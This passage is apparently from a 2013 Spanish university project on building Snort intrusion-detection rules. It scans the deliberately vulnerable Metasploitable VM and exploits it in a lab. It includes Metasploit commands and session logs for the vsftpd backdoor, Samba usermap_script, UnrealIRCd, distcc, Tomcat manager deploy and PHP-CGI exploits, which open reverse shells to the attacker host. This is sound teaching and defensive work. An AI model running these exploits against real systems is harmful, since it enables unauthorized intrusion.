0 valutazioniIl 0% ha trovato utile questo documento (0 voti)
44 visualizzazioni39 pagine
Este documento describe el uso de Snort para la detección de intrusiones en una máquina virtual vulnerable llamada Metasploitable. Se explica el funcionamiento de Snort, Metasploit y otras herramientas de seguridad. Luego, se realizan ataques a Metasploitable usando Metasploit y se analiza el tráfico con Wireshark para crear reglas de Snort que detecten dichos ataques.
Este documento describe el uso de Snort para la detección de intrusiones en una máquina virtual vulnerable llamada Metasploitable. Se explica el funcionamiento de Snort, Metasploit y otras herramientas de seguridad. Luego, se realizan ataques a Metasploitable usando Metasploit y se analiza el tráfico con Wireshark para crear reglas de Snort que detecten dichos ataques.
Este documento describe el uso de Snort para la detección de intrusiones en una máquina virtual vulnerable llamada Metasploitable. Se explica el funcionamiento de Snort, Metasploit y otras herramientas de seguridad. Luego, se realizan ataques a Metasploitable usando Metasploit y se analiza el tráfico con Wireshark para crear reglas de Snort que detecten dichos ataques.
Alberto lvarez Oliva Posgrado Seguridad en Redes y Sistemas Consultor: Cristina Prez Sol Universitat Oberta de Catalunya Junio 2013
Tabla de contenido 1. Introduccin 5 1.1. Problema a resolver ... 5 1.2. Objetivos 5 1.3. Metodologa ... 5 1.3.1. Descripcin del escenario 5 1.3.2. Recursos .. 6 1.3.3. Riesgos 6 1.4. Tareas . 6 1.5. Planificacin temporal .. 7 1.6. Estado del arte 8 2. Software 9 2.1. Snort .. 9 2.1.1. Introduccin 9 2.1.2. Historia 9 2.1.3. Funcionamiento .. 9 2.1.4. Reglas . 10 2.2. Metasploitable .. 13 2.2.1. Introduccin ... 13 2.2.2. Vulnerable .. 13 2.3. Metasploit . 14 2.3.1. Introduccin 14 2.3.2. Historia ... 14 2.3.3. Funcionamiento .. 15 2.4. Nmap . 17 2.4.1. Introduccin 17 2.4.2. Historia 17 2.4.3. Funcionamiento .. 17 2.5. Nessus 18 2.5.1. Introduccin 18 2.5.2. Historia 18 2.5.3. Funcionamiento .. 18 2.6. Wireshark ... 20 2.6.1. Introduccin 20 2.6.2. Historia 20 2.6.3. Funcionamiento .. 21 3. Ataque .. 22 3.1. Recolectando informacin . 22 3.1.1. Escaneo de puertos nmap . 22 3.1.2. Escaneo de vulnerabilidades nessus . 23 3.1.3. Bsquedas de exploits vlidos con metasploit 26 4. Defensa . 31 4.1. Esnifando paquetes Wireshark 31 4.1.1. Trfico caracterstico ... 31 4.2. Creacin de reglas Snort 34 4.2.1. Ficheros de configuracin ... 34 4.2.2. Creacin y funcionamiento . 34 5. Conclusiones 37 6. Referencias bibliogrficas .. 38 7. Anexos .. 39 7.1. Contenido del fichero perso.rules .. 39
5 1. Introduccin 1.1. Problema a resolver Disponemos de un servidor que tiene instalado una distribucin GNU/Linux llamada Metasploitable. Dicha distribucin es conocida por ser vulnerable de forma intencionada. Para disminuir la posibilidad de que se produzca una intrusin, se efectu un ataque con xito o se explote una vulnerabilidad, debemos configurar Snort correctamente.
1.2. Objetivos Entender el funcionamiento de Snort. Obtener los conocimientos necesarios para crear y modificar reglas de Snort. Conocer el funcionamiento de la distribucin Metasploitable. Adquirir los conocimientos necesarios para el manejo y uso de Metasploit. Obtener las competencias necesarias para instalar y configurar Snort en entornos reales.
1.3. Metodologa Antes de nada, nos documentaremos sobre el software que vamos a emplear.
Una vez preparado el entorno, elegiremos varios ataques sobre los cuales trabajaremos. Tambin estudiaremos dichos ataques para comprender su funcionamiento y sus particularidades con la intencin de poder crear filtros eficientes con Snort.
Pasaremos a la etapa de creacin de reglas. Crearemos reglas Snort especficas para los ataques anteriores, con las cuales detectaremos y registraremos los intentos de ataque en un fichero de log.
1.3.1. Descripcin del escenario Para alcanzar los objetivos del proyecto, trabajaremos sobre un entorno virtual formado por una mquina atacante, en la que se instalar Debian y Metasploit, y una mquina vctima, en la que instalaremos Metasploitable y Snort. Figura 1.
Figura 1. Esquema del escenario
6 1.3.2. Recursos Para poner en marcha el proyecto necesitaremos lo siguiente:
Hardware:
No es necesario ningn hardware especfico. Mientras sea posible instalar VirtualBox y virtualizar simultneamente Debian y Metasploitable nos vale. Como ya disponemos de una computadora capaz de realizar dicha tarea (AMD Phenom II 940 4x3,0Ghz, 8GB RAM DDR2@1066MHz, RAID 0 WD Caviar Black 1TB, NIC Gigabit) no necesitamos realizar gasto alguno, 0.
Software:
Necesitamos varios herramientas y sistemas operativos:
VirtualBox: Disponible los repositorios. Debian: Podemos descargar el sistema operativo gratuitamente desde aqu. Metasplotaible: Descarga gratuita desde aqu. Metasploit: Descarga gratuita aqu. Wireshark: Disponible desde los repositorios. Nmap: Disponible desde los repositorios. Nessus: Disponible desde su web. Snort: Disponible gratuitamente desde su web. Tambin est disponible un conjunto de reglas. Por lo que el coste en software es de 0.
Por lo tanto el coste total del proyecto ser de 0.
1.3.3. Riesgos Al trabajar sobre mquinas virtuales el riesgo es bastante reducido, en caso de obtener un resultado inesperado podremos restaurarlo a un punto anterior gracias a las Instantneas.
1.4. Tareas Adquirir documentacin sobre Snort, Metasploit, Metasploitable, Nessus, nmap y Wireshark. Preparar el entorno de trabajo con mquinas virtuales, en una de ellas instalaremos Metasploitable y Snort, en otra instalaremos Debian desde la cual se realizarn los ataques con Metasploit. Los ataques se realizarn con Metasploit. Esnifar el trfico generado por los ataques para su posterior estudio. Creacin de reglas de Snort que impidan o avisen el/del uso de los mismos.
7 1.5. Planificacin temporal Diagrama de Gantt. Figura 2. Figura 2. Temporizacin de tareas. Figura 3.
Figura 3. Planificacin
8 1.6. Estado del arte En general todo est bien documentado, con informacin ms o menos centralizada y/o accesible pero disponible.
Existen diversas recopilaciones de reglas para Snort, en la propia pgina del proyecto podemos descargar las oficiales. Hay dos versiones: La de suscriptores, a los cuales se les permite obtener la ltima versin con las reglas actualizadas al da y la de usuarios registrados, a los cuales se les permite descargar la recopilacin de reglas correspondiente a 30 das atrs.
Luego hay recopilaciones no oficiales y que suelen ir enfocadas a ataques o casos concretos, como por ejemplo sta recopilacin, preparada para alertar de actividad generada por los movimientos del conocido caso APT1 Unit 68398 del que tanto se ha hablado en las ltimas semanas. Podemos ver que se compone de 2046 reglas especficas para alertar sobre trfico relacionados con las actividades de APT1, principalmente usando los nombres de dominio desde el que proviene el trfico.
Tambin hay un proyecto que ser interesante para la realizacin del nuestro: IDS Project Snorting Metasploit, creado por Kevin de Kok y Niek Timmers, ambos estudiantes de la universidad de msterdam, en la que ponen a prueba la efectividad de Snort contra ataques disponibles en Metasploit.
Crean una serie de aplicaciones para poder probar todos los exploits disponibles en Metasploit automticamente, tambin proponen varios mtodos para ofuscar dichos ataques.
Sobre Metasploit hay cientos de blogs y foros con informacin, en ste caso en concreto lo complicado es encontrar informacin interesante y actualizada entre mucha basura. La web http://www.offensive-security.com/metasploit-unleashed nos resultar muy til, podemos encontrar documentacin muy completa sobre Metasploit, entre las que se encuentran los requisitos de instalacin o las diferentes GUIs disponibles, pasando por todo tipo de temas entre los dos anteriores.
9 2. Software 2.1. Snort
Figura 4. Logo de Snort
2.1.1. Introduccin Snort es una herramienta de seguridad de deteccin y prevencin de intrusos en red (IDS/IPS) basado en usos indebidos, capaz de analizar el trfico y registrar paquetes en tiempo real. [1] Implementa un motor de deteccin de ataques y barrido de puertos que permite registrar, alertar y responder ante cualquier anomala. Dichas respuestas estn previamente definidas por las reglas que el administrador considere oportunas, aunque en la propia instalacin ya nos ofrece cientos de reglas que plasman una gran variedad de ataques conocidos. [2] Est disponible bajo una estrategia de doble licencia: El cdigo fuente del motor Snort est bajo licencia GPLv2 y el de las reglas propietarias de Snort bajo Non-Commercial Use License for the Proprietary Snort Rules. [3]
2.1.2. Historia Snort se desarroll en 1998 bajo el nombre de APE por Marty Roesch. En ese ao contaba con mil seiscientas lneas de cdigo y su utilidad era la de analizar conexiones de red a travs de un cable modem y como debugger para las aplicaciones de red.
Ms tarde se desarroll el primer analizador de firmas para Snort, que fue implementado en 1999. A partir de entonces se comenz a usar como un IDS.
En diciembre de 1999 apareci la versin 1.5, en la que su autor decidi una nueva arquitectura basada en plugins, que se mantiene todava.
Actualmente se compone de ms de setenta y cinco mil lneas de cdigo y una arquitectura que poco tiene que ver con el diseo original.
2.1.3. Funcionamiento Para comenzar a usar Snort debemos realizar un proceso de, como mnimo, dos pasos: 1 Instalar el motor Snort. 2 Instalar/configurar las reglas.
10 Tenemos la opcin de instalar una interfaz GUI para Snort, pero no es estrictamente necesario. Para proceder a la instalacin en nuestro sistema Debian 6 ejecutaremos el siguiente comando:
root@debian-uoc:~# apt-get install snort
Tambin podemos instalar el paquete snort-rules-default que aadir una serie de reglas predefinidas, en nuestro caso preferimos no usarlas para evitar confusiones.
2.1.4. Reglas De una forma esquemtica, este es el aspecto y la estructura que tiene una regla de Snort:
Dichos campos corresponden con los siguientes puntos: Accin a realizar Protocolos Direcciones IP Puertos Operador de direccin Opciones de las reglas
Accin a realizar: El primer campo que nos encontraremos en todas las reglas, ser la accin a realizar con los paquetes en caso de que cumpla las condiciones configuradas en el filtro. Puede tomar uno de los siguientes valores: alert Genera una alerta usando el mtodo elegido y luego registra el paquete en un log. log Registra el paquete en un log. pass Ignorar el paquete. activate Genera una alerta y luego activa otra regla dinmica. dynamic Permanece desactivada hasta que se activa con una regla activate, luego actua como una regla log. drop Bloquea y registra el paquete en un fichero log. reject Bloquea el paquete, lo registra y luego enva un TCP reset si el protocolo es TCP o un ICMP port unreachable si el protocolo es UDP. sdrop Bloquea el paquete pero no lo registra en un log.
11 Snort nos ofrece la posibilidad de crear tipos de reglas personalizados, y usarlos posteriormente como acciones en Snort, pero no vamos a entrar en detalles al respecto. Dicha informacin se puede consultar en el manual de Snort.
Protocolos: El siguiente campo en una regla es el protocolo, debe ser uno de los cuatro que Snort puede analizar actualmente: TCP, UDP, ICMP o IP.
Direcciones IP y puerto: El siguiente campo hace referencia a la direccin IP y el puerto de origen, tras el operador de direccin tambin se especifican la direccin IP y el puerto de destino.
Operador de direccin: Indica la orientacin o direccin del trfico sobre el que se aplicar la regla. Puede ser -> o <> (bidireccional).
Opciones: A partir de aqu podemos aadir las opciones que nos interesen, separadas por ;. Existen cuatro tipos de categoras de opciones: general, payload, non-payload y post- detection.
Opciones de tipo general: Dan informacin sobre la regla pero no tienen efecto alguno a la hora de la deteccin. A continuacin se presenta una tabla con dichas opciones y sus funcionalidades.
Keyword Descripcin msg El mensaje que se mostrar en el tipo de alerta seleccionada cuando un paquete coincida con la descripcin de la regla. reference Permite incluir referencias a sistemas de identificacin de vulnerabilidades externos. gid Se usa para identificar qu parte de Snort genera el evento cuando una regla se dispara. sid Se usa para identificar reglas. rev Se usa para identificar revisiones de las reglas. classtype Sirve para categorizar una regla por la forma en la que se detecta un ataque que pertenece a otro tipo de ataque ms general. priority Asigna un nivel de importancia a las reglas. metadata Permite aadir informacin adicional sobre la regla.
12 Opciones de deteccin de payload: Estas opciones buscan datos dentro de los paquetes. Debido a la cantidad de opciones disponibles, presento las ms habituales en formato de tabla-resumen.
Keyword Descripcin content Permite al usuario definir reglas que busquen un contenido especfico en el paquete y active una respuesta basado en ese contenido. Es una de las opciones ms importantes de Snort. rawbytes Permite a las reglas mirar el contenido del paquete en raw. depth Define hasta donde debe buscar Snort, dentro de un paquete. offset Especifica donde debe comenzar a buscar un patrn en los paquetes.
Opciones de deteccin de non-payload: Con estas opciones podemos hacer que las reglas busquen por datos que no sean payloads. En total son veinte las opciones non-payload disponibles, por lo que muestro una tabla con las ms relevantes.
Keyword Descripcin ttl Comprueba el valor time-to-live. dsize Comprueba el tamao del paquete payload. flags Comprueba si bits especficos de las flags TCP estn presentes. seq Busca un nmero de secuencia TCP en concreto. ack Busca un acknowledge number en concreto. window Busca un tamao de ventana TCP en concreto. icmp_id Busca un valor especfico de ICMP ID. sameip Permite que las reglas comprueben si la IP de origen es la misma que la IP de destino.
13 Opciones de post-detection: Tenemos a nuestra disposicin varias opciones de post-deteccin que se pondrn en marcha cuando una regla se active. Con estas opciones podremos terminar de adaptar las reglas a las necesidades que tengamos.
Keyword Descripcin logto Registra todos los paquetes que activen la regla en un fichero determinado. session Extrae informacin del usuario de las sesiones TCP. resp Intenta cerrar sesiones cuando una alerta se activa. react Permite a los usuarios terminar la conexin y enviar un aviso. tag Permite registrar ms que solo el paquete que activ la regla. activates Permite especificar una regla que se aadir cuando ocurra un evento en la red. activated_by Permite activar dinmicamente una regla. count Se debe usar junto a activated_by. Permite especificar durante cuantos paquetes estar la regla activa tras su activacin. detection_filter Busca por direccin IP otras reglas que coincidan y las activa.
2.2. Metasploitable 2.2.1. Introduccin Se trata de una distribucin Linux, vulnerable de forma intencionada que forma parte del Metasploit Project. Disponible como imagen de mquina virtual y usada como herramienta de aprendizaje, entorno de pruebas para herramientas de seguridad y demostracin de vulnerabilidades comunes. Para comenzar a utilizarla solo debemos descargar este fichero y crear una nueva mquina virtual con la imagen descargada.
2.2.2. Vulnerable Aunque no hay una lista exacta, se conoce que, al menos, hay 135 vulnerabilidades en la versin 2 de Metasploitable. Vamos a realizar una escaneo de puertos para conocer qu tenemos entre manos. Figura 5.
14
Figura 5. Resultados de un escaneo de puertos
Vemos que hay gran cantidad de servicios funcionando, nos pararemos en ellos ms adelante.
2.3. Metasploit
Figura 6. Logo de Metasploit
2.3.1. Introduccin Metasploit Project es un proyecto de seguridad informtica que facilita informacin sobre vulnerabilidades, ofrece ayudas en los test de penetracin y facilita el desarrollo de reglas para IDS.
2.3.2. Historia Desarrollado en el ao 2003 por HD Moore, programado en Perl como una herramienta de red. Posteriormente se reescribi por completo en Ruby. En octubre de 2009 fue adquirido por Rapid7, empresa de seguridad que ofrece soluciones de administracin de vulnerabilidades. Actualmente se encuentra en la versin 4.6.0. [4] Rapid7 ofrece cuatro versiones diferentes: Metasploit Framework Edition: Es la versin ms bsica y que est disponible de forma gratuita. Metasploit Community Edition: Tambin gratuito, se trata de una interfaz web para Metasploit, est basada en la versin de pago pero con menos funcionalidades. Metasploit Express: Versin comercial con mejoras, como la integracin de nmap. Metasploit Pro: La versin ms completa que incluye escaneo y explotacin de aplicaciones web.
15 2.3.3. Funcionamiento Los pasos habituales que hay que seguir para explotar vulnerabilidades de un sistema son los siguientes:
1. Elegir y configurar un exploit. 2. Comprobar que el sistema vctima sea vulnerable a dicho exploit. 3. Elegir y configurar un payload. 4. Elegir una tcnica de cifrado para el payload. 5. Ejecutar el exploit.
Para instalar el software, debemos descargarnos el paquete de instalacin desde la web de Rapid7. Una vez lo tengamos descargado debemos dar permisos de ejecucin al paquete para poder comenzar la instalacin, podemos hacerlo de sta forma:
Aparecer un asistente que nos guiar de una forma sencilla por los siguientes pasos: 1. Aceptamos la licencia de uso. 2. Elegir directorio de instalacin. 3. Elegir si instalar Metasploit como un servicio o no. 4. En caso de que el punto 3 sea positivo, debemos elegir un nombre para el script del servicio. 5. Elegir el nmero de puerto que usar el servicio. 6. Introducir el nombre de dominio completo y el nmero de das de validez del certificado que generar. 7. Introducir un nuevo puerto para la base de datos. 8. Introducir un tercer puerto para el servidor Thin. 9. Instalar.
Una vez termine la instalacin es necesario configurar ciertas cosas, para comenzar con ello, visitamos https://localhost:3790
Creamos un nombre de usuario y generamos una contrasea segura. Para que nos la acepte debe contener al menos 12 caracteres, maysculas, minsculas, nmeros y algn caracter especial.
16 El siguiente paso es obtener la licencia para la versin gratuita, para ello debemos registrarnos, usando el formulario que tenemos en pantalla, para que nos llegue un e-mail con la licencia. La introducimos en la web y ya podemos comenzar a usarlo.
Alternativamente disponemos de las herramientas por lnea de comandos. Se compone de una serie de herramientas: msfbinscan, msfcli, msfconsole, msfd, msfelfscan, msfencode, msfmachscan, msfpayload, msfpescan, msfpro, msfrpc, msfrpcd, msfupdate y msfvenom. Pero principalmente usaremos msfconsole. Los siguientes pasos estn redactados como gua y no como parte prctica, que la mostraremos ms adelante aplicando estos puntos. Para arrancar la aplicacin, escribimos msfconsole en la consola. Figura 7.
Figura 7. Mensaje de entrada de msfconsole
Recopilando informacin A partir de aqu debemos obtener informacin de nuestro host vctima. Para ello usaremos la herramienta nmap. Desde la consola tenemos dos posibilidades de uso: Con el comando nmap, como se hara desde una consola normal de GNU/Linux, o con db_nmap. La diferencia se encuentra en la forma en la que se tratan los resultados, aadindose a la base de datos de Metasploit en caso de usar la segunda forma. Una vez conocemos los servicios que estn funcionando debemos descubrir ms sobre ellos. Con el comando services podemos hacerlo.
Si estamos en la misma red, podemos probar a esnifar contraseas con el mdulo psnuffle.
Buscando vulnerabilidades Antes de nada hay que tener claro que Metasploit no realiza ste tipo de bsquedas, pero no hay ningn problema pues podemos usar los resultados de una herramienta como Nessus en Metasploit.
Lo primero de todo es completar una bsqueda de vulnerabilidades con Nessus y guardar los resultados en un fichero *.nbe. Luego importamos dicho fichero a Metasploit usando el comando db_import.
17 Explotando vulnerabilidades Una vez tenemos el fichero importado, podemos ver si tenemos exploits que se aprovechen de alguna de las vulnerabilidades encontradas y lanzarlo.
2.4. nmap
Figura 8. Logo de nmap
2.4.1. Introduccin Es un programa de cdigo abierto que sirve para efectuar rastreo de puertos, escrito originalmente por Gordon Lyon (ms conocido por su alias Fyodor Vaskovich). Se usa para evaluar la seguridad de sistemas informticos, as como para descubrir servicios o servidores en una red informtica. [5]
2.4.2. Historia La primera vez que se public nmap fue en 1997 como un artculo de la revista Phrack Magazine, incluyendo el cdigo fuente. Con ayuda de la comunidad se le fue aadiendo nuevas funcionalidades hasta el da de hoy, que se presenta en su versin 6.00 con soporte completo para IPv6. [6]
2.4.3. Funcionamiento La instalacin se puede realizar fcilmente desde los repositorios con un simple comando. root@debian-uoc:~# apt-get install nmap
La forma ms bsica de uso posee la siguiente sintaxis. root@debian-uoc:~# nmap xxx.xxx.xxx.xxx
Existe una gran variedad de parmetros que modificar el modo de escaneo y los datos a mostrar por lo que no explicar todas las posibilidades, es fcil de encontrar documentacin detallada, empezando por el propio manual de nmap (man nmap).
18 2.5. Nessus
Figura 9. Logo de Nessus
2.5.1. Introduccin Es un programa de escaneo de vulnerabilidades desarrollado por Tenable Network Security, gratuito para uso personal en entornos no empresariales. [7]
2.5.2. Historia Renaud Deraison comenz el proyecto Nessus en 1998 para ofrecer a la comunidad un escaner remoto de seguridad. En 2005, Tenable Security, empresa de la que Renaud era cofundador, cambi la licencia de Nessus 3 a una licencia propietaria. En 2008, Tenable revis la licencia permitiendo a los usuarios domsticos acceder sin restricciones a los plugins a la vez de lanzar una licencia para uso comercial. Actualmente se encuentra en la versin 5. [7]
2.5.3. Funcionamiento Desde la propia web de Tenable nos podemos descargar el paquete de instalacin en .deb. Usamos dpkg para realizar la instalacin.
Luego introducimos el siguiente comando para arrancar el demonio. root@debian-uoc:/# /etc/init.d/nessusd start
Abrimos un navegador web y nos vamos a https://localhost:8834/ Vamos siguiendo los pasos del asistente. Crear credenciales de acceso.
19
Figura 10. Instalacin de Nessus (1)
Elegimos el Plugin Feed para obtener un cdigo de activacin, en caso de no disponer uno. En ste caso escogemos la ltima opcin
Figura 11. Instalacin de Nessus (2)
Rellenamos los datos y seguimos.
Figura 12. Instalacin de Nessus (3)
20 Empezar a descargar los plugins.
Figura 13. Instalacin de Nessus (1)
Tras unos minutos podremos hacer login en la aplicacin. Ahora tenemos que introducir el cdigo que hemos recibido por correo electrnico. Ya podemos empezar a realizar escaneos de vulnerabilidades, en este enlace puedes encontrar toda la informacin necesaria para aprender a manejarlo. De todas maneras, un poco ms adelante en este mismo documento, haremos un anlisis paso a paso.
2.6. Wireshark
Figura 14. Logo de Wireshark
2.6.1. Introduccin Wireshark es un analizador de protocolos utilizado para realizar anlisis y solucionar problemas en redes y como ayuda para el desarrollo de software y protocolos. [8]
2.6.2. Historia La primera versin, conocida por entonces como Ethereal, se lanz en 1998 por Gerald Combs. En mayo del 2006 us la parte del cdigo liberada como base para el repositorio de Wireshark. El cambio de nombre se produce debido a que no es dueo de la marca Ethereal. Ethereal deja de desarrollarse en el 2010. Premiado repetidamente por distintas revistas e industrias relacionadas con el sector, tambin es uno de los sniffers ms extendidos.
21 2.6.3. Funcionamiento La instalacin se puede realizar fcilmente desde los repositorios con un simple comando.
root@debian-uoc:~# apt-get install wireshark
Es necesario usar el programa con permisos de superusuario para poder acceder a la interfaz de red. En la pgina oficial del proyecto hay disponible una gran cantidad de documentacin, tanto manuales como vdeos. [9]
22 3. Ataque 3.1. Recolectando informacin El primer paso que se debe hacer a la hora de atacar/auditar un sistema, es recolectar toda la informacin posible sobre el mismo. Lo ms habitual es realizar primero un escaneo de puertos para ver qu servicios estn activos, posteriormente, se intenta conocer la versin de los servicios. A partir de aqu, el abanico de posibilidades se abre desde lanzar un escanear de vulnerabilidades, descubrir rutas y ficheros en el equipo o a realizar pruebas de inyeccin SQL sobre una aplicacin web.
3.1.1. Escaneo de puertos - nmap Finalmente comenzamos la parte prctica de este proyecto. Empezaremos recopilando informacin sobre los servicios que estn activos en el host Metasploitable, usando la herramienta nmap. Abrimos la consola msfconsole y ejecutamos el siguiente comando:
msf > nmap -sV 192.168.1.61 Starting Nmap 6.25 ( http://nmap.org ) Nmap scan report for 192.168.1.61 Host is up (0.00020s latency). Not shown: 979 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23/tcp open telnet Linux telnetd 25/tcp open smtp Postfix smtpd 53/tcp open domain ISC BIND 9.4.2 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) 111/tcp open rpcbind 2 (RPC #100000) 139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 512/tcp open exec netkit-rsh rexecd 513/tcp open login 514/tcp open tcpwrapped 1099/tcp open rmiregistry GNU Classpath grmiregistry 1524/tcp open ingreslock? 2049/tcp open nfs 2-4 (RPC #100003) 2121/tcp open ftp ProFTPD 1.3.1 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7 6667/tcp open irc Unreal ircd 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
23 3.1.2. Escaneo de vulnerabilidades - nessus A continuacin vamos a realizar un anlisis con el escner de vulnerabilidades Nessus.
Accedemos a la aplicacin mediante el navegador, introducimos las credenciales, hacemos clic en Scan y a continuacin en Add.
Figura 15. Nessus
Luego le damos un nombre al escaneo, elegimos una Policy que indicar a Nessus qu tipo de acciones a la hora de realizar el anlisis debe hacer, en ste caso la hemos modificado y hemos puesto que haga todas las acciones posibles. Aadimos el objetivo, es decir, la IP del equipo Metasploitable y finalmente hacemos clic en el botn Launch Scan.
Figura 16. Nessus
Esperamos a que termine el anlisis. Una vez finalice hacemos clic en Reports, donde encontraremos los resultados. Hacemos doble clic sobre la lnea.
24
Figura 17. Nessus
Y, de forma resumida, nos encontramos con lo siguiente, siendo la izquierda las vulnerabilidades encontradas ms crticas.
Figura 18. Nessus
Lo que vamos a realizar a continuacin es guardar los resultados en un fichero NBE, para poder importarlo a Metasploit. [10]
25
Figura 19. Nessus
Ahora volvemos a msfconsole para importar el fichero:
msf > db_import /home/uoc/Descargas/nessus.nbe
Con el comando hosts podemos comprobar que realmente ha cargado los datos.
Figura 20. Datos importados
Podemos obtener una lista de los servicios del host escaneado, con el comando services.
26
Figura 21. Servicios de red en sistema escaneado
Y con el comando vulns obtenemos un listado de las vulnerabilidades detectadas.
3.1.3. Bsquedas de exploits validos con metasploit Para buscar mdulos interesantes usaremos el comando search. Por ejemplo, vamos a ver los mdulos relacionados con el servicio FTP. [11][12]
msf> search ftp Matching Modules ================
Name Disclosure Date Rank Description ---- --------------- ---- ----------- auxiliary/admin/cisco/vpn_3000_ftp_bypass 2006-08-23 00:00:00 UTC normal Cisco VPN Concentrator 3000 FTP Unauthorized Administrative Access auxiliary/admin/officescan/tmlisten_traversal normal TrendMicro OfficeScanNT Listener Traversal Arbitrary File Access auxiliary/admin/tftp/tftp_transfer_util normal TFTP File Transfer Utility auxiliary/dos/scada/d20_tftp_overflow 2012-01-19 00:00:00 UTC normal General Electric D20ME TFTP Server Buffer Overflow DoS auxiliary/dos/wifi/netgear_ma521_rates normal NetGear MA521 Wireless Driver Long Rates Overflow auxiliary/dos/wifi/netgear_wg311pci normal NetGear WG311v1 Wireless Driver Long SSID Overflow auxiliary/dos/windows/ftp/filezilla_admin_user 2005-11-07 00:00:00 UTC normal FileZilla FTP Server Admin Interface Denial of Service [...]
Buscando un poco encontramos un mdulo que nos puede ofrecer informacin muy valiosa:
auxiliary/scanner/ftp/ftp_version
Vamos a usarlo:
msf auxiliary(ftp_version) > use auxiliary/scanner/ftp/ftp_version msf auxiliary(ftp_version) > show options
Name Current Setting Required Description ---- --------------- -------- -----------
27 FTPPASS mozilla@example.com no The password for the specified username FTPUSER anonymous no The username to authenticate as RHOSTS yes The target address range or CIDR identifier RPORT 21 yes The target port THREADS 1 yes The number of concurrent threads
[*] Banner: 220 (vsFTPd 2.3.4) [*] USER: 331 Please specify the password. [+] Backdoor service has been spawned, handling... [+] UID: uid=0(root) gid=0(root) [*] Found shell. [*] Command shell session 1 opened (192.168.1.60:52415 -> 192.168.1.61:6200) at 2013-05-09 03:24:23 +0200
Hemos tenido xito!
28 Cambiamos de servicio por el de Samba, el escaneo con nmap nos ofreci la siguiente informacin:
139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
Por lo que hacemos la bsqueda search samba 3. y entre los resultados encontramos el siguiente exploit.
exploit/multi/samba/usermap_script
msf exploit(usermap_script) > exploit
[*] Started reverse double handler [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo PbMEnhW4odVGYZoU; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "PbMEnhW4odVGYZoU\r\n" [*] Matching... [*] A is input... [*] Command shell session 8 opened (192.168.1.60:4444 -> 192.168.1.61:46481) at 2013-05-11 19:24:40 +0200
hostname metasploitable
Podemos comprobar que hemos conseguido una shell.
Continuamos con otro ataque, esta vez vamos a aprovecharnos de Java. Igual que en los casos anteriores, ponemos Wireshark a capturar paquetes.
exploit/multi/misc/java_rmi_server
msf exploit(java_rmi_server) > exploit
[*] Started bind handler [*] Using URL: http://0.0.0.0:8080/7r1GkWxrHZor [*] Local IP: http://192.168.1.60:8080/7r1GkWxrHZor [*] Connected and sending request for http://192.168.1.60:8080/7r1GkWxrHZor/OGJI.jar [*] 192.168.1.61 java_rmi_server - Replied to request for payload JAR [*] Sending stage (30216 bytes) to 192.168.1.61 [*] Meterpreter session 2 opened (192.168.1.60:54663 -> 192.168.1.61:4444) at 2013-05-13 01:35:03 +0200
Y por ltimo, vamos a aprovecharnos de la vulnerabilidad CVE-2012-1823
msf exploit > use exploit/multi/http/php_cgi_arg_injection msf exploit(php_cgi_arg_injection) > exploit
[*] Started reverse handler on 192.168.1.60:4444 [*] Sending stage (39217 bytes) to 192.168.1.61 [*] Meterpreter session 4 opened (192.168.1.60:4444 -> 192.168.1.61:44344) at 2013-05-17 12:26:47 +0200
29 Continuamos atacando Metasploitable. Sabemos que en el puerto 8180 hay un Tomcat funcionando, vamos a comprobar si se mantienen las credenciales de acceso predeterminadas con:
auxiliary/admin/http/tomcat_administration
msf auxiliary(tomcat_administration) > exploit
[*] http://192.168.1.61:8180/admin [Apache-Coyote/1.1] [Apache Tomcat/5.5] [Tomcat Server Administration] [tomcat/tomcat] [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed msf auxiliary(tomcat_administration) > info
Efectivamente, las credenciales de acceso no se han modificado. Vamos a aprovechar esta informacin para ir un poco ms all con: exploit/multi/http/tomcat_mgr_deploy
[*] Started reverse handler on 192.168.1.60:4444 [*] Attempting to automatically select a target... [*] Automatically selected target "Linux x86" [*] Uploading 6460 bytes as lLMp0fk6J1xuGf.war ... [*] Executing /lLMp0fk6J1xuGf/SbI28Snf8RRELS.jsp... [*] Undeploying lLMp0fk6J1xuGf ... [*] Sending stage (30216 bytes) to 192.168.1.61 [*] Meterpreter session 3 opened (192.168.1.60:4444 -> 192.168.1.61:56017) at 2013-05-29 04:27:19 +0200
meterpreter >
Continuamos atacando, vamos a ir a por ircd. use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unreal_ircd_3281_backdoor) > exploit
[*] Started reverse double handler [*] Connected to 192.168.1.61:6667... :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname... :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead [*] Sending backdoor command... [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo aFYmAIgTDIkqluNO; [*] Writing to socket A [*] Writing to socket B
30 [*] Reading from sockets... [*] Reading from socket B [*] B: "aFYmAIgTDIkqluNO\r\n" [*] Matching... [*] A is input... [*] Command shell session 50 opened (192.168.1.60:4444 -> 192.168.1.61:52986) at 2013-05-29 19:27:37 +0200
Seguimos descubriendo y explotando vulnerabilidades con: exploit/unix/misc/distcc_exec
msf exploit(distcc_exec) > exploit
[*] Started reverse double handler [*] Accepted the first client connection... [*] Accepted the second client connection... [*] Command: echo HVGOUHHkmgf6edsA; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... [*] Reading from socket B [*] B: "HVGOUHHkmgf6edsA\r\n" [*] Matching... [*] A is input... [*] Command shell session 65 opened (192.168.1.60:4444 -> 192.168.1.61:54724) at 2013-05-29 21:52:15 +0200
